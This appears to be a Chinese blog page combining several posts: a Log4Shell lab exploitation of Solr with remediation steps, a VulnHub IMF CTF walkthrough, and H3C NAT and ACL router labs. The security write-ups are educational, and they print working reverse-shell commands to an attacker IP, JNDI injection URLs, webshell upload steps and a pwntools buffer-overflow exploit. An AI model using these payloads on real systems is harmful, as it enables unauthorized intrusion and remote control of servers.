⚔️ 攻击机 Kali192.168.197.10🎯 靶机 Solr192.168.197.88⚔️ 攻击机 Kali192.168.197.10🎯 靶机 Solr192.168.197.88① 攻击机先开好2个"钩子"nc监听4444(等反弹)JNDIExploit起LDAP 1389 + HTTP 8888② 攻击机把恶意URL发给靶机:8983/solr?...action=${jndi:ldap://攻击机:1389/...}靶机执行恶意类触发反弹Shell命令靶机解析${jndi}后主动连攻击机LDAP(1389)要"资源"1LDAP: 你的恶意类在http://攻击机:8888/ExploitX.class2靶机从8888下载恶意类3返回恶意类代码(HTTP 200)4靶机主动连回攻击机4444(反弹shell)5攻击机获得靶机root shell控制权6

从技术角度看，漏洞的根本成因有两个层面：

Log4j2 层面：Log4j2 的 JNDI Lookup 功能默认开启，且未对 JNDI 请求的目标地址做任何限制或过滤，导致攻击者可以任意指定 LDAP、RMI、DNS 等协议的服务地址。
JDK 层面：在 JDK 8u191 之前的版本中，com.sun.jndi.ldap.object.trustURLCodebase 参数默认为 true，允许 JNDI 从远程 HTTP 服务器动态加载 Java 类并实例化。这个设计原本是为了方便 RMI/LDAP 服务分发对象，却成了攻击者植入恶意代码的通道。

两者叠加，使得攻击者仅需一个简单的字符串注入点，就能实现远程代码执行，无需任何认证。这也是 Log4Shell 被评为 CVSS 10.0（最高严重等级）的核心原因。

3.2 操作步骤#

根据上面对原理的说明，具体的攻击流程如下：

攻击者启动恶意 LDAP 服务 + HTTP 服务（托管恶意 Java 类）
向靶机发送包含 ${jndi:ldap://192.168.197.10/恶意类} 的 Payload
靶机 Log4j2 解析并连接攻击机的 LDAP 服务
LDAP 服务返回恶意类的引用地址（HTTP 服务）
靶机加载并执行恶意类 → 反向连接攻击机 → 获得 Shell

Step 1：在攻击机（Kali）上启动 Netcat 监听

1
nc -lvnp 4444

4444 是监听端口，可自行修改。 Step 2：准备 JNDI 利用工具

推荐使用 JNDIExploit 工具：

1
# 下载JNDIExploit，请直接在物理机的浏览器中粘贴（开代理），然后拖到kali中
2
https://bit.ly/3Azqvnq
3

4
# 如果在kali直接下载，请使用下面的命令，但是需要开代理
5
wget https://bit.ly/3Azqvnq -O JNDIExploit-1.2-SNAPSHOT.jar

Step 3：启动恶意 LDAP 服务

由于在新版kali不能下载Java 8，因此使用docker，并将JNDIExploit挂载到docker容器中。

1
# 拉取 OpenJDK 8 镜像
2
docker pull eclipse-temurin:8-jdk
3

4
# 运行 JNDIExploit 容器
5
docker run --rm -it \
6
  -p 1389:1389 \
7
  -p 8888:8888 \
8
  -v /root/JNDIExploit.v1.2:/workspace \
9
  -w /workspace \
10
  eclipse-temurin:8-jdk \
11
  java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.197.10 -p 8888

-i：指定攻击机 IP（靶机可访问的地址）
-p：指定 HTTP 服务端口，默认 8888

该命令会同时启动 LDAP 服务（默认 1389 端口）和 HTTP 服务（8888 端口）。

Step 4：构造反弹 Shell Payload

经过事后分析，发现这里构造反弹 Shell Payload可以选/bin/bash和perl两种，这里先选用perl。

为什么？因为执行下面的命令检查，发现只有/bin/bash和perl可用，其他的例如python在docker环境中都没有，因此不可用，当然在实际环境中可用的手段会更多。

1
ls -l /bin/sh /bin/bash /bin/dash
2
which nc
3
which python3 python
4
which perl

/bin/bash（Bourne Again SHell）：Linux 中最常用的命令解释器。它的强大之处在于支持高级重定向，比如 >/dev/tcp/…。这其实是 Bash 内置的一个“伪文件”特性，允许你像操作文件一样操作网络连接。

perl（Practical Extraction and Reporting Language）：一种成熟的编程语言。它自带强大的 Socket（套接字）库，可以不依赖 Shell 语法，直接用代码建立网络连接。

反弹 Shell 命令需要进行 Base64 编码：

1
printf '%s' "perl -e 'use Socket;\$i=\"192.168.197.10\";\$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'" | base64

得到编码后的字符串：

1
cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xOTcuMTAiOyRwPTQ0NDQ7c29ja2V0KFMs
2
UEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxz
3
b2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RE
4
T1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIil9Oyc=

Step 5：向靶机发送攻击 Payload

在浏览器中访问，此时要注意，因为‘+’和‘=’会在传输中被转义成空格，因此需要进行url编码，变成下面的形式后，再访问：

1
http://192.168.197.88:8983/solr/admin/cores?action=${jndi:ldap://192.168.197.10:1389/Basic/Command/Base64/cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xOTcuMTAiOyRwPTQ0NDQ7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIil9Oyc%3D}

Step 6：获取反弹 Shell

查看之前启动的 Netcat 监听窗口，如果成功，将看到靶机的 Shell 连接进来：

此时已成功获得目标服务器的 Shell 权限。

补充：

也可以用下面的/bin/bash反弹命令。

1
# 原始反弹命令
2
bash -c "bash -i >& /dev/tcp/192.168.197.10/4444 0>&1"
3

4
# Base64 编码
5
echo -n 'bash -c "bash -i >& /dev/tcp/192.168.197.10/4444 0>&1"' | base64

得到编码串：YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMC80NDQ0IDA+JjEi，拼进 JNDI 表达式并对整段做 URL 编码后，最终访问：

1
http://192.168.197.88:8983/solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F192.168.197.10%3A1389%2FBasic%2FCommand%2FBase64%2FYmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE5Ny4xMC80NDQ0IDA%2BJjEi%7D

四、修复方案#

1.优先升级版本：将Log4j2升级至2.17.1或更高版本（如2.x最新稳定版），官方已在后续版本中默认禁用了JNDI Lookup并移除了相关危险功能。

2.临时缓解措施：若无法立即升级，可通过JVM参数禁用Lookup功能：

1
-Dlog4j2.formatMsgNoLookups=true

3.配合WAF规则：在应用前端部署WAF，对包含${jndi:、${rmi:等关键字的请求进行拦截，作为临时防御补充。

4.排查其他Log4j2版本：Log4j 2.0-beta9至2.14.1均受影响，需全面排查项目依赖，包括间接依赖的Log4j2组件。

5.注意JDK版本差异：JDK 8u191及以上版本默认限制了远程类加载，但不能依赖此特性作为防护手段，升级Log4j2才是根本解决方案。

注意：无论采用哪种修复方式，部署前务必在测试环境中充分验证，避免对业务造成影响。

NAT 实验

2026-09-03T01:00:00.000Z

实验拓扑#

实验需求#

按照图示配置 IP 地址
私网 A 通过 R1 接入到互联网，私网 B 通过 R3 接入到互联网
私网 A 内部存在 Vlan10 和 Vlan20，通过 R1 上单臂路由访问外部网络
私网 A 通过 NAPT 使 Vlan10 和 Vlan20 都能够使用 R1 的公网地址访问互联网
私网 B 通过在 R3 上配置 EASY IP 访问互联网
私网 A 配置 NAT SERVER 把 FTPA 的 FTP 服务发布到公网，使 PCB 可以访问

实验解法#

1.配置 IP 地址#

1
# FTP-A的配置如下：
2
int g0/0
3
ip add 192.168.1.1 24
4

5
# PCA的配置如下：
6
int g0/0
7
ip add 192.168.2.1 24
8

9
# R1的配置如下：
10
int g0/1
11
ip add 100.1.1.1 24
12

13
# R2的配置如下：
14
int g0/0
15
ip add 100.1.1.2 24
16
int g0/1
17
ip add 100.2.2.2 24
18

19
# R3的配置如下：
20
int g0/0
21
ip add 100.2.2.3 24
22
int g0/1
23
ip add 192.168.1.3 24
24

25
# PCB的配置如下：
26
int g0/0
27
ip add 192.168.1.1 24

展开收起

2.R1 和 R3 上配置默认路由指向公网#

1
# R1的配置如下：
2
ip route-static 0.0.0.0 0 100.1.1.2
3

4
# R3的配置如下：
5
ip route-static 0.0.0.0 0 100.2.2.2

3.私网 A 内部单臂路由配置#

1
# FTP-A的配置如下：
2
ip route-static 0.0.0.0 0 192.168.1.254
3

4
# PCA的配置如下：
5
ip route-static 0.0.0.0 0 192.168.2.254
6

7
# SWA的配置如下：
8
vlan 10
9
port g1/0/1
10
vlan 20
11
port g1/0/2
12
int g1/0/3
13
port link-type trunk
14
port trunk permit vlan 10 20
15

16
# R1的配置如下：
17
interface g0/0.1
18
vlan-type dot1q vid 10
19
ip address 192.168.1.254 24
20
interface g0/0.2
21
vlan-type dot1q vid 20
22
ip address 192.168.2.254 24

展开收起

4.私网 A 通过 NAPT 使 Vlan10 和 Vlan20 都能够使用 R1 的公网地址访问互联网#

分析：根据需求得知，ACL 需要配置允许 192.168.1.0/24 和 192.168.2.0/24 网段；私网 A 只有 1 个公网地址可用，意味着创建的 NAT 地址池起始和结束地址就都是 100.1.1.1

步骤 1：R1 上创建基本 ACL，允许 192.168.1.0/24 和 192.168.2.0/24 网段#

1
acl basic 2000
2
rule permit source 192.168.1.0 0.0.0.255
3
rule permit source 192.168.2.0 0.0.0.255

步骤 2：R1 上创建 NAT 地址池，设置公网地址#

1
nat address-group 1
2
address 100.1.1.1 100.1.1.1

步骤 3：在 R1 的公网接口上配置 NAPT#

1
interface g0/1
2
nat outbound 2000 address-group 1

检测：在 PCA 上 Ping R3 的公网地址，测试是否可以访问互联网。#

1
ping 100.2.2.3
2
Ping 100.2.2.3 (100.2.2.3): 56 data bytes, press CTRL+C to break
3
56 bytes from 100.2.2.3: icmp_seq=0 ttl=253 time=8.000 ms
4
56 bytes from 100.2.2.3: icmp_seq=1 ttl=253 time=6.000 ms
5
56 bytes from 100.2.2.3: icmp_seq=2 ttl=253 time=8.000 ms
6
56 bytes from 100.2.2.3: icmp_seq=3 ttl=253 time=8.000 ms
7
56 bytes from 100.2.2.3: icmp_seq=4 ttl=253 time=7.000 ms
8

9
--- Ping statistics for 100.2.2.3 ---
10
5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss
11
round-trip min/avg/max/std-dev = 6.000/7.400/8.000/0.800 ms
12
%Sep  3 09:26:12:404 2026 PCA PING/6/PING_STATISTICS: Ping statistics for 100.2.2.3: 5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss, round-trip min/avg/max/std-dev = 6.000/7.400/8.000/0.800 ms.

5.私网 B 通过在 R3 上配置 EASY IP 访问互联网#

分析：根据需求得知，ACL 需要配置允许 192.168.1.0/24 网段；使用 EASY IP，就无需配置 NAT 地址池，直接在公网接口上配置即可，EASY IP 会自动识别公网接口的 IP 地址。

步骤 1：R3 上创建基本 ACL，允许 192.168.1.0/24 网段#

1
acl basic 2000
2
rule permit source 192.168.1.0 0.0.0.255

步骤 2：在 R3 的公网接口上配置 EASY IP#

1
interface g0/0
2
nat outbound 2000

检测：在 PCB 上 Ping R1 的公网地址，测试是否可以访问互联网#

1
[PCB]ping 100.1.1.1
2
Ping 100.1.1.1 (100.1.1.1): 56 data bytes, press CTRL+C to break
3
56 bytes from 100.1.1.1: icmp_seq=0 ttl=253 time=6.000 ms
4
56 bytes from 100.1.1.1: icmp_seq=1 ttl=253 time=5.000 ms
5
56 bytes from 100.1.1.1: icmp_seq=2 ttl=253 time=7.000 ms
6
56 bytes from 100.1.1.1: icmp_seq=3 ttl=253 time=5.000 ms
7
56 bytes from 100.1.1.1: icmp_seq=4 ttl=253 time=5.000 ms
8

9
--- Ping statistics for 100.1.1.1 ---
10
5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss
11
round-trip min/avg/max/std-dev = 5.000/5.600/7.000/0.800 ms
12
%Sep  3 09:32:47:415 2026 PCB PING/6/PING_STATISTICS: Ping statistics for 100.1.1.1: 5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss, round-trip min/avg/max/std-dev = 5.000/5.600/7.000/0.800 ms.

6.私网 A 配置 NAT SERVER 把 FTPA 的 FTP 服务发布到公网，使 PCB 可以访问#

分析：根据需求得知，需要发布 FTPA 的 FTP 服务，也就是把 R1 的公网地址的 20 和 21 端口映射到 FTPA 的私网地址

步骤 1：配置 FTP 服务#

1
ftp server enable

步骤 2：在 R1 的公网接口上配置 NAT SERVER，映射端口 20 和 21#

1
int g0/1
2
nat server protocol tcp global 100.1.1.1 20 21 inside 192.168.1.10 20 21

步骤 3：在 PCB 上测试是否能够通过 R1 的公网地址访问 FTPA 的 FTP 服务#

1
ftp 100.1.1.1
2
Press CTRL+C to abort.
3
ftp: connect: Connection refused
4
ftp>
5
ftp> quit
6

IMF

2026-09-02T00:00:00.000Z

项目	详情
靶机名称	IMF: 1
难度等级	Medium（中等）
目标	获取 root 权限并找到六个 flag
下载链接	https://www.vulnhub.com/entry/imf-1,162/
攻击机 (Kali)	`192.168.197.10`（建议使用 NAT 模式）
靶机	`192.168.197.176`（DHCP 自动分配）

一、信息收集 (Reconnaissance)#

信息收集是渗透测试的基石，决定了后续攻击面的广度。

1.1 主机发现#

使用 nmap 在本地网络中定位靶机 IP。

1
nmap -sn 192.168.197.0/24

结果输出：发现目标 IP 为：192.168.197.176

1.2 端口与服务扫描#

使用 Nmap 对靶机进行全面的端口和服务扫描。

1
# 快速全端口扫描
2
nmap -p- --min-rate 1000 -T4 192.168.197.176
3
# 深入服务探测
4
nmap -sC -sV -O 192.168.197.176

扫描结果分析：

端口	服务	状态	初步判断
80	Apache 2.4.18	开放	主要攻击面，Web 应用

注意：后续在提权阶段会发现 7788 端口，但初始扫描时因防火墙设置未能发现。

二、漏洞利用 (Exploitation)#

根据信息收集结果，选择最有可能的突破口进行深入利用。

2.1 Web 渗透#

2.1.1 获取 Flag1#

既然靶机开放了80端口，即HTTP服务，那就访问一下吧。

访问网站 http://192.168.197.176，在 contact us 页面查看网页源代码，发现第一个 Flag。

将 Flag1 的内容进行 Base64 解码：

1
echo "YWxsdGhlZmlsZXM=" | base64 -d

结果：allthefiles，因此flag1{allthefiles}。

2.1.2 获取 Flag2#

在首页源代码中发现三个奇怪的 JS 文件名。

1
eVlYUnZjZz09fQ==
2
XUnRhVzVwYzNS
3
ZmxhZzJ7YVcxbVl

关键（这些前缀在CTF中几乎是“条件反射”级别的特征）：

flag 的开头 fla 编码后就是 Zmxh
如果编码完整的 flag，结果是 ZmxhZw==
同理，flag{ 编码后固定是 ZmxhZ3s=
root 编码后是 cm9vdA==

因此可以将其按顺序拼接后进行 Base64 解码（Zmxh开头的部分放在前面，以==结尾的部分放在后面，剩下的部分放在中间）。

1
echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d

得到：flag2{aW1mYWRtaW5pc3RyYXRvcg==}

再次解码 Flag2 的内容：

1
echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d

结果：imfadministrator，因此flag2{imfadministrator}。

2.1.3 获取后台路径与 Flag3#

注意： 记住上面的信息收集每一条都是有用的，上面解出来的东西都是比较规律的，有可能是目录之类的。

因此访问路径 /imfadministrator，进入后台登录页面（如果访问allthefiles路径，则发现没有该资源）。查看网页源码，发现提示：“我无法使用 SQL，所以我硬编码了密码。它仍然非常安全”，因此没有SQL注入。 步骤 1：枚举用户名

输入不存在的用户名，页面回显无效的用户名（Invalid username）。因此尝试输入存在的用户名，在 contact.php 页面中有三个用户名：rmichaels、akeith、estone。逐一测试后确认有效用户名为rmichaels，因为回显变为无效的密码（Invalid password），而不是回显无效的用户名。 步骤 2：PHP 数组绕过登录

注意：这里当然可以暴力破解，因为已经知道了用户名，但是这里有更好的办法，因为根据网页源代码的提示，这个密码的验证是写死在php代码中的，因此可以使用PHP数组绕过登录。

原理： php验证代码可能如下

1
$password = $_POST['password']; // 用户输入
2
if (strcmp($password, $admin_password) == 0) {
3
    // 登录成功！
4
}

php代码可能是用strcmp之类的函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0，string类型和array类型相比较，它会出错，但返回的不是“报错并停止”，而是 NULL。又因为在PHP的弱类型比较中，NULL == 0 的结果是 true（真），因此成功绕过。

修改网页源代码，将密码参数 pass 改为数组形式（当然这里也可以使用抓包，然后修改数据包）。成功登录后获得 Flag3：

1
flag3{Y29udGludWVUT2Ntcw==}

Base64 解码得到：continueTOcms，因此flag3{continueTOcms}。

2.2 SQL 注入与 Flag4#

成功登录后，访问 CMS 页面（因为flag3的提示）：http://192.168.197.176/imfadministrator/cms.php?pagename=home。URL有GET传参，因此存在SQL注入，在 URL 参数 pagename 后加单引号测试，发现 MySQL 报错回显，确认存在 SQL 注入漏洞。

1
sqlmap -r req.txt --batch --dbs

1
sqlmap -r req.txt --batch -D admin --tables

1
sqlmap -r req.txt --batch -D admin -T pages --dump

爆破数据库 admin 中的 pages 表，获取到一条图片路径记录。访问该路径，发现一张二维码图片。扫描二维码得到 Flag4：

1
flag4{dXBsb2Fkcjk0Mi5waHA=}

解码后得到flag4{uploadr942.php}，同时获得文件上传路径：uploadr942.php。

2.3 文件上传与 WebShell（Flag5）#

访问 http://192.168.197.176/imfadministrator/uploadr942.php，发现是一个文件上传界面。使用PHP一句话进行上传，通过不断测试，发现存在WAF和文件头检测，尝试修改Content-Type：image/jpeg，文件头加上GIF89a也是无效。所以采用另外一个方法，制作一个图片马。

由于WAF过滤比较严，直接写会被拦截，因此使用assert函数，同时使用“.”连接两部分，具体webshell内容如下。

然后使用一个git图片做图片马。

注意：根据事后分析，这里只能用git图片，不能用其他类型的图片，因为.htaccess文件里只允许git图片以php的形式运行。

1
copy /b 普通图片.gif + webshell.php webshell.gif

上传后查看网页源代码，获取服务器重命名的文件名。此时如果我们直接访问，发现没有，推测应该是图片被保存在某个文件夹下面了，可以猜测是在imfadministrator目录下，我们可以进行目录扫描。使用dirsearch扫描，命令如下：

1
dirsearch -u http://192.168.197.176/imfadministrator/ -e php,html,txt -w /usr/share/wordlists/dirb/common.txt -t 50
2

3
-u：指定目标 URL
4
-e：添加常见的扩展名（如 PHP、HTML、TXT），以便发现带有这些后缀的目录或文件
5
-w：指定字典文件（这里使用 Kali 自带的 common.txt，比较全面）
6
-t：设置线程数（50 线程速度较快，可根据网络情况调整）

访问该url，发现可以访问，说明上传成功。

1
http://192.168.197.176/imfadministrator/uploads/4994055bd05d.gif

使用蚁剑连接WebShell，记得要切换成base64编码器，否则无法连接，因为会被WAF过滤：连接成功之后，查看文件获取flag。

将 Flag5 进行 Base64 解码，解码结果：agentservices，因此flag5{agentservices}。

补充： 也可以使用下面的webshell，同样制作图片马并上传（这个shell只能执行系统命令，因为是用echo，所以也叫命令马）。

1
 
2
 //此时需要注意最前面加一个空格，要不然生成图片马的时候会覆盖掉导致乱码

然后用命令马快速写一个“完美蚁剑马”。

1
http://192.168.197.176/imfadministrator/uploads/重命名.gif?topsec=echo '' > /var/www/html/imfadministrator/uploads/shell.php
2
# 注意：在Ubuntu系统中，Apache的默认网站根目录是/var/www/html/

之后连接该shell.php，记得编码器要切换到base64。

三、权限提升 (Privilege Escalation)#

现在的目标是从普通用户提权至 root，因为最后一个flag在root下面，但是直接用蚁剑查看权限不够。

3.1 发现 Agent 服务#

根据 Flag5 的提示 agentservices，在靶机中搜索相关文件：

1
# 使用相关命令搜索agent在哪里
2
find / -iname agent 2>/dev/null
3
whereis agent

发现文件：

1
/usr/local/bin/agent
2
/etc/xinetd.d/agent

查看/etc/xinetd.d/agent内容：

1
# default: on
2
# description: The agent server serves agent sessions
3
# unencrypted agentid for authentication.
4
service agent
5
{
6
       flags          = REUSE
7
       socket_type    = stream
8
       wait           = no
9
       user           = root
10
       server         = /usr/local/bin/agent
11
       log_on_failure += USERID
12
       disable        = no
13
       port           = 7788
14
}

该服务以 root 权限运行在 7788 端口，且服务程序为/usr/local/bin/agent，恰好和刚才使用命令找到的位置相对应。

查看当前端口状态，确认 7788 端口已开放：

1
netstat -atnup

注意这里有个细节，前面使用nmap扫描的时候并没有看到7788端口，因此推测这个端口是被隐藏了。根据后面的操作可知，这里需要使用端口敲门，将7788端口敲开。

然后进入目录/usr/local/bin，发现有两个文件，看一下access_codes，发现有个SYN 7482,8279,9467 看起来像是运行了knock进程，需要敲开。

补充： 什么是端口敲门（Port Knocking）：
端口敲门是一种网络安全技术，可以形象地理解为“网络版的芝麻开门”。它的核心思想是服务器的服务端口（如SSH的22端口）默认不对外开放,只有客户端按预先约定的顺序，向服务器的一系列特定端口发送连接请求（即“敲门”）后，服务器才会临时为这个客户端打开真正的服务端口。

使用knock工具敲开7788端口：

1
knock 192.168.197.176 7482 8279 9467
2
nmap -p 7788 192.168.197.176

由上图可知，再次使用nmap扫描时，发现7788端口已经开放了。

3.2 缓冲区溢出漏洞利用#

3.2.1 下载并执行 Agent 程序#

接着查看 /usr/local/bin/agent ，发现是可执行的二进制文件。因此将 /usr/local/bin/agent 文件下载到攻击机进行分析（可以直接使用蚁剑下载然后拖到kali，也可以使用下面的命令）。

1
# 在靶机上执行
2
nc -lvp 4444 < /usr/local/bin/agent
3

4
# 在攻击机上执行(Kali IP: 192.168.197.10)
5
nc 192.168.197.176 4444 > agent

然后运行agent程序，发现要输入Agent ID。

3.2.2 构造 Exploit#

为了获取Agent ID，同时为了分析agent程序的功能 （检查是否有栈溢出) ，将 agent 文件拖入 IDA 进行逆向分析。查看main函数，发现了Agent ID。

说明：从图中可以发现在fget函数需要输入随机的数字回车，每一次的输入都会出现strncmp(“输入的数字\n”, “48093572”, 8)这行代码，大概意思就是我们输入的数字和48093572进行对比，不正确返回到Invalid Agent ID。

main函数的完整反编译代码如下：

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char *s2; // [esp+8h] [ebp-20h] BYREF
4
  char s[10]; // [esp+Eh] [ebp-1Ah] BYREF
5
  int v6; // [esp+18h] [ebp-10h]
6
  char v7; // [esp+1Fh] [ebp-9h]
7

8
  setbuf(stdout, 0);
9
  asprintf(&s2, "%i", 48093572);
10
  puts("  ___ __  __ ___ ");
11
  puts(" |_ _|  \\/  | __|  Agent");
12
  puts("  | || |\\/| | _|   Reporting");
13
  puts(" |___|_|  |_|_|    System\n");
14
  printf("\nAgent ID : ");
15
  if ( !fgets(s, 9, stdin) )
16
    return -1;
17
  if ( !strncmp(s, s2, 8u) )
18
  {
19
    do
20
      v7 = getchar();
21
    while ( v7 != 10 && v7 != -1 );
22
    puts("Login Validated ");
23
    v6 = menu();
24
    switch ( v6 )
25
    {
26
      case 1:
27
        extractionpoints();
28
        break;
29
      case 2:
30
        requestextraction();
31
        break;
32
      case 3:
33
        report();
34
        break;
35
      default:
36
        puts("Exiting...");
37
        break;
38
    }
39
    return 0;
40
  }
41
  else
42
  {
43
    puts("Invalid Agent ID ");
44
    return -2;
45
  }
46
}

展开收起

经检查，extractionpoints()、requestextraction()这两个函数都没有问题，只有report()函数存在栈溢出。

report()函数的完整反编译代码如下：

1
char *report()
2
{
3
  char s[152]; // [esp+4h] [ebp-A4h] BYREF
4
  char *v2; // [esp+9Ch] [ebp-Ch]
5

6
  printf("\nEnter report update: ");
7
  gets(s);
8
  printf("Report: %s\n", s);
9
  puts("Submitted for review.");
10
  v2 = s;
11
  return s;
12
}

计算栈溢出偏移（也就是计算数组s相对返回地址的长度）：

1
s在ebp-0xA4，返回地址在ebp+4，所以溢出偏移=0xA4+4=168

找到栈偏移之后，我们需要将 return 地址修改为 shellcode 地址，这里可以使用 ROPgadget 寻找包含 call eax 的代码段。

eax 俗名累加器,用于保存函数返回值、存计算结果、频繁被用来临时放地址

1
ROPgadget --binary agent | grep "call eax"

我们使用0x8048563这个地址的call eax，所以返回地址也就覆盖为0x8048563。

编写 Python exploit 脚本，连接靶机 7788 端口发送恶意 payload。

1
#coding=utf-8
2
from pwn import *
3
io = remote("192.168.197.176", 7788)
4
shellcode = asm(shellcraft.sh())
5
shell_addr = 0x8048563
6
io.recvuntil(b"Agent ID : ")
7
io.send(b"48093572\n")
8
io.recvuntil(b"Enter selection: ")
9
io.send(b"3\n")
10
io.recv()
11
io.sendline(shellcode + b"A" * (168 - len(shellcode)) + p32(shell_addr))
12
io.interactive()

成功执行后获得 root 权限的反弹 Shell。

注意： exploit 只负责”在 agent 进程里注入代码、弹出一个 shell”；能不能是 root，取决于 agent 进程是不是 root 跑的。这个靶场 agent 恰好以 root 运行，所以注入 shell 后直接就是 root，所以是”服务本来就以 root 跑”给了我们提权，不是溢出代码本身有 root 魔法。

获取 root 权限后，在 /root 目录下找到最终的 Flag6。解码后得到flag6{Gh0stProt0c0ls}。

作者留下的小彩蛋：

ACL 实验

2026-09-01T01:00:00.000Z

实验拓扑#

实验需求#

按照图示配置 IP 地址
全网路由互通
在 SERVER1 上配置开启 TELNET 和 FTP 服务
配置 ACL 实现如下效果
1. 192.168.1.0/24 网段不允许访问 192.168.2.0/24 网段，要求使用基本 ACL 实现
2. PC1 可以访问 SERVER1 的 TELNET 服务，但不能访问 FTP 服务
3. PC2 可以访问 SERVER1 的 FTP 服务，但不能访问 TELNET 服务
4. 192.168.2.0/24 网段不允许访问 SERVER1，要求通过高级 ACL 实现

实验解法#

1.配置 IP 地址/静态路由#

1
# PC1的配置如下：
2
int g0/0
3
ip add 192.168.1.1 24
4
ip route-static 0.0.0.0 0 192.168.1.254
5

6
# PC2的配置如下：
7
int g0/0
8
ip add 192.168.1.2 24
9
ip route-static 0.0.0.0 0 192.168.1.254
10

11
# R1的配置如下：
12
int g0/0
13
ip add 100.1.1.1 24
14
int g0/1
15
ip add 192.168.1.254 24
16
ip route-static 0.0.0.0 0 100.1.1.2
17

18
# R2的配置如下：
19
int g0/0
20
ip add 100.1.1.2 24
21
int g0/1
22
ip add 100.2.2.2 24
23
int g0/2
24
ip add 192.168.2.2 24
25
ip route-static 192.168.1.0 24 100.1.1.1
26
ip route-static 192.168.3.0 24 100.2.2.3
27

28
# R3的配置如下：
29
int g0/0
30
ip add 100.2.2.3 24
31
int g0/1
32
ip add 192.168.3.3 24
33
ip route-static 0.0.0.0 0 100.2.2.2
34

35
# SERVER1的配置如下：
36
int g0/0
37
ip add 192.168.3.1 24
38
ip route-static 0.0.0.0 0 192.168.3.3
39

40
# PC3配置IP为192.168.2.3

展开收起

2.在 SERVER1 上配置开启 TELNET 和 FTP 服务#

1
# SERVER1的配置如下：
2
telnet server enable
3
ftp server enable

3.配置 ACL 部分#

分析：

需求 i，要求 192.168.1.0/24 网段不允许访问 192.168.2.0/24 网段，只能使用基本 ACL 实现。基本 ACL 只过滤源 IP 地址，只能在 R2 的 g0/2 接口上配置出方向包过滤来实现。如果配置在两个网段沿途的其他位置，将会影响到 192.168.1.0/24 网段和其他网段的正常通讯
需求 ii，PC1 可以访问 SERVER1 的 TELNET 服务，但不能访问 FTP 服务。既然要过滤指定的服务，就只能使用高级 ACL，高级 ACL 不会造成误过滤，所以可以配置在离源地址最近的接口的入方向，也就是 R1 的 g0/1 接口的入方向。另外，由于 H3C 的 ACL 用于包过滤默认动作是允许，所以并不需要专门配置允许 PC1 访问 SERVER1 的 TELNET，只需要配置拒绝访问 FTP 的规则即可
需求 iii，PC2 可以访问 SERVER1 的 FTP 服务，但不能访问 TELNET 服务。同理，只能使用高级 ACL，配置在 R1 的 g0/1 接口的入方向。而且也只需要配置拒绝访问 TELNET 的规则即可（由于需求iii和需求ii配置在同一个路由器同一个接口的同方向，所以把规则写入到同一个 ACL 即可）
需求 iv：192.168.2.0/24 网段不允许访问 SERVER1，要求通过高级 ACL 实现。高级 ACL 不会造成误过滤，所以可以配置在离源地址最近的接口的入方向，也就是 R2 的 g0/2 接口的入方向。另外，没有明确说明不允许访问什么服务，就是所有都不允许访问，所以高级 ACL 中的协议需要指定为 IP 协议

步骤 1：创建基本 ACL，使 192.168.1.0/24 网段不能访问 192.168.2.0/24 网段，并在 R2 的 g0/2 接口的出方向配置包过滤#

1
#路由器R2的配置如下：
2
acl basic 2000
3
rule deny source 192.168.1.0 0.0.0.255
4
interface g0/2
5
packet-filter 2000 outbound

步骤 2：创建高级 ACL，使 PC1 可以访问 SERVER1 的 TELNET 服务，但不能访问 FTP 服务；PC2 可以访问 SERVER1 的 FTP 服务，但不能访问 TELNET 服务，并在 R1 的 g0/1 接口的入方向配置包过滤#

1
#路由器R1的配置如下：
2
acl advanced 3000
3
rule deny tcp source 192.168.1.1 0 destination 192.168.3.1 0 destination-port range 20 21
4
rule deny tcp source 192.168.1.2 0 destination 192.168.3.1 0 destination-port eq 23
5
interface g0/1
6
packet-filter 3000 inbound

步骤 3：创建高级 ACL，使PC3 不能访问 SERVER1，并在 R2 的 g0/2 接口的入方向配置包过滤#

1
#路由器R2的配置如下：
2
acl advanced 3000
3
rule deny ip source 192.168.2.0 0.0.0.255 destination 192.168.3.1 0
4
interface g0/2
5
packet-filter 3000 inbound

4.效果测试#

步骤 1：PC1 和 PC2 都无法 Ping 通 PC3#

1
[PC1]ping 192.168.2.3
2
Ping 192.168.2.3 (192.168.2.3): 56 data bytes, press CTRL+C to break
3
Request time out
4
Request time out
5
Request time out
6
Request time out
7
Request time out
8

9
--- Ping statistics for 192.168.2.3 ---
10
5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss
11
[PC1]%Sep  2 11:08:33:447 2026 PC1 PING/6/PING_STATISTICS: Ping statistics for 192.168.2.3: 5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss.
12

13

14

15
